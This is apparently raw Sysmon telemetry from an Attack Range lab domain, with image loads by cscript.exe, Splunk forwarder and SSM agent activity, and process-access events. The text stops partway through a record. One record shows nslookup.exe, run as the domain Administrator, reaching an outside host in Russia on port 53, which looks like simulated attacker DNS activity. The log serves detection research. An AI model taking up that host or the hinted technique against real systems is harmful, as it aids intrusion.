734700x800000000000000056625Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:25.395{7BD73061-728E-613B-5B0B-00000000F001}1020C:\Windows\System32\cscript.exeC:\Windows\System32\iertutil.dll11.00.14393.4467 (rs1_release.210604-1844)Run time utility for Internet ExplorerInternet ExplorerMicrosoft CorporationIeRtUtil.dllMD5=1D608361848C3A3AC56488995E8D0BB1,SHA256=D95DE5DBAD08E22CB0CFB9322220E752F16124C15867F7748E4D64795E400EBF,IMPHASH=BB80FB0B79AB68B9AA174726B09C8CE9trueMicrosoft WindowsValid 734700x800000000000000056624Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:25.395{7BD73061-728E-613B-5B0B-00000000F001}1020C:\Windows\System32\cscript.exeC:\Windows\System32\urlmon.dll11.00.14393.4530 (rs1_release.210705-0736)OLE32 Extensions for Win32Internet ExplorerMicrosoft CorporationUrlMon.dllMD5=B63DBDFEC215CF37259DC4A88ADBD0E7,SHA256=67B02F3DE0AF36E76C2D259CE7833EDA4FE33D935538E8A4C1E7E82130870FC1,IMPHASH=D30D879B129DBE4925A85E9DD136188BtrueMicrosoft WindowsValid 734700x800000000000000056623Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:25.395{7BD73061-728E-613B-5B0B-00000000F001}1020C:\Windows\System32\cscript.exeC:\Windows\System32\edputil.dll10.0.14393.2608 (rs1_release.181024-1742)EDP utilMicrosoft® Windows® Operating SystemMicrosoft CorporationEDPUTIL.DLLMD5=75AC86B00CE4C64B02B105A55CA35628,SHA256=DB31A2345E3BB8DC79BFB4CC29615E3B8B7638AE80BFEC45FA57852669A592AE,IMPHASH=52045AC79DBE663F06AB7C9717524D40trueMicrosoft WindowsValid 734700x800000000000000056622Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:25.395{7BD73061-728E-613B-5B0B-00000000F001}1020C:\Windows\System32\cscript.exeC:\Windows\System32\propsys.dll7.0.14393.4169 (rs1_release.210107-1130)Microsoft Property SystemWindows® SearchMicrosoft Corporationpropsys.dllMD5=013D2BA96C261CDC62ECA7365E1C84D5,SHA256=26896478B6F1AF3756D5B1BB59BF2C6BE1C579B122CC882BAC35FEFB3EC3EE36,IMPHASH=FF25576501EAFD13671A6D5075C4513EtrueMicrosoft WindowsValid 10341000x800000000000000056621Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:25.026{7BD73061-65B2-613B-0D00-00000000F001}8925164C:\Windows\system32\svchost.exe{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+b4d7|c:\windows\system32\rpcss.dll+8257|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000056700Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:26.759{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C61AF9C90BC9DD376419F7E6D09C923D,SHA256=BC2FA8433C57571E3046A5FA0C2D4A5F6BC9F50E22B3699B3462AA893590F6F9,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018113Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:26.889{625C326B-67EE-613B-1B00-00000000F101}1908NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-0e4d5849e4b95ca2f\channels\health\respondent-20210910141306-053MD5=3A9A88AD6100E8BB934749ED83730993,SHA256=EA67EE5E06491F5BE852A39DD3E98E85E9195686879C0E2F42582046B4398283,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000018112Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:26.838{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D3CCDD504902D2E57AA464730F27B570,SHA256=BD7F009CA0911056E496C48FBAE3769D79CE4561CB5F90E54F82D266E0360FD1,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000056699Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:26.411{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=DC47658FF62BC1FCDEF8B1F09ED1082C,SHA256=C05751E031046F28B8D2AC9B5F3A4A1207B838510F4FA0C9822462F228FA1089,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000056704Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:24.809{7BD73061-74E9-613B-AD0B-00000000F001}6720C:\Windows\system32\nslookup.exeATTACKRANGE\Administratorudptruefalse10.0.1.14win-dc-387.attackrange.local52988-false94.103.82.250v739227.hosted-by-vdsina.ru53domain 10341000x800000000000000056703Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:27.909{7BD73061-65BF-613B-2C00-00000000F001}29722160C:\Windows\sysmon64.exe{7BD73061-74E9-613B-AD0B-00000000F001}6720C:\Windows\system32\nslookup.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ntdll.dll+6cd0a|C:\Windows\System32\KERNEL32.DLL+1cff8|C:\Windows\System32\KERNEL32.DLL+25a87|C:\Windows\sysmon64.exe+14ced|C:\Windows\sysmon64.exe+15adb|C:\Windows\sysmon64.exe+16c29|C:\Windows\sysmon64.exe+1abb1|C:\Windows\sysmon64.exe+1cfc7|C:\Windows\sysmon64.exe+1d392|C:\Windows\sysmon64.exe+1d4a5|C:\Windows\sysmon64.exe+b0519|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056702Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:27.909{7BD73061-65BF-613B-2C00-00000000F001}29722160C:\Windows\sysmon64.exe{7BD73061-74E9-613B-AD0B-00000000F001}6720C:\Windows\system32\nslookup.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\sysmon64.exe+2682c|C:\Windows\sysmon64.exe+1cc6d|C:\Windows\sysmon64.exe+1d392|C:\Windows\sysmon64.exe+1d4a5|C:\Windows\sysmon64.exe+b0519|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000056701Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:27.778{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=44A1B0AC1960E43A2CC571E219DD3433,SHA256=29F374DF88429BCF5D5096995B5CEE9534C81419973DA40AC97ED64F68C150B9,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018115Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:27.887{625C326B-67EE-613B-1B00-00000000F101}1908NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-0e4d5849e4b95ca2f\channels\health\surveyor-20210910141303-054MD5=97EF2A570B75C4F95FC69B0D09A2E2A2,SHA256=11396EA313B0ED7E3228C4FA92ABE9D836DB8F416A7A8A28ACC77133025082E7,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000018114Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:27.839{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=1099113CB3EC5A1D78C5EE5CA6B54EB2,SHA256=16647A6E1EEB128B8753FE51E461B787C750AE303494B7C1D791364CCCF054F9,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000056705Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:28.809{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=CDF19D1763BE59E3DF2287BA3F83CD7A,SHA256=A629EBB01FF26301C237128F56B9BA411D9585E6492EF7EEA165BF78EE2F3C3F,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018116Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:28.840{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F317E9D9776E541A0EEBCF6299688C84,SHA256=0914D66F9DC40AB7DE2C50483F75B53412C1460693EB1B81B2AEE89A95208421,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000056707Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:29.958{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6232417187A5C06920556B5009A55E5B,SHA256=78BB5ED256FE92E9CAB88F8C7DEBEE68E868891D0B1CFE9CDCBA8EF617870773,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018117Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:29.871{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=ACCDADC192CEEC22BA17078E137741F5,SHA256=F5BFDCFF410694DD4F70665E4662B593AC3DF252B22D9EFF94CC7533ACF48948,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000056706Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:26.546{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local63176-false10.0.1.12-8000- 23542300x800000000000000018118Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:30.887{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D449B558CC07B4B91C31B5B0E7C1269F,SHA256=9CB4262B09E5B3311811CF27A7CB25F1CF8C21F8FB485F57748EE43DEB8A7837,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000056709Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:30.959{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B7A20442F4603BE8259269230FA1DC16,SHA256=32B18F6D5BB24D74BC3F10C862853C5E87AF7D60633C2265867C508DB695D8E3,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000056708Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:30.059{7BD73061-664E-613B-B000-00000000F001}4184NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeC:\Program Files\SplunkUniversalForwarder\var\run\serverclass.xmlMD5=086DB1CFB481058C3EF9F48D868FE74F,SHA256=BB95DB224236BED3122F53106B6D7A2930FE56435B98D0E225AAE99BDF5D7CF8,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000056711Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:31.974{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5B091A621BFBB14505A683909A81CF84,SHA256=D4C1488D553D601C19FF71AB4F63E969F6CAA13DE0DBE5DD7129778EDEE744E8,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000018133Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:29.489{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50409-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000018132Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:31.905{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5FD1DABE37DEE158A8592D2D50965144,SHA256=95C0E20328CBC203042008AF332E8136C2BC663B5AF52774143E4F34402BB1D3,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000018131Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:31.624{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-74EF-613B-3D05-00000000F101}3504C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018130Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:31.624{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018129Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:31.624{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018128Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:31.624{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018127Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:31.624{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018126Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:31.624{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018125Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:31.624{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018124Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:31.624{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018123Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:31.624{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018122Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:31.624{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018121Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:31.624{625C326B-67EC-613B-0500-00000000F101}412528C:\Windows\system32\csrss.exe{625C326B-74EF-613B-3D05-00000000F101}3504C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000018120Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:31.624{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-74EF-613B-3D05-00000000F101}3504C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000018119Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:31.625{625C326B-74EF-613B-3D05-00000000F101}3504C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe10.0.10011.16384SplunkMonNoHandle Control ProgramWindows (R) Win 7 DDK driverWindows (R) Win 7 DDK providerSplunkMonNoHandle.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8{625C326B-6879-613B-A400-00000000F101}2004C:\Program 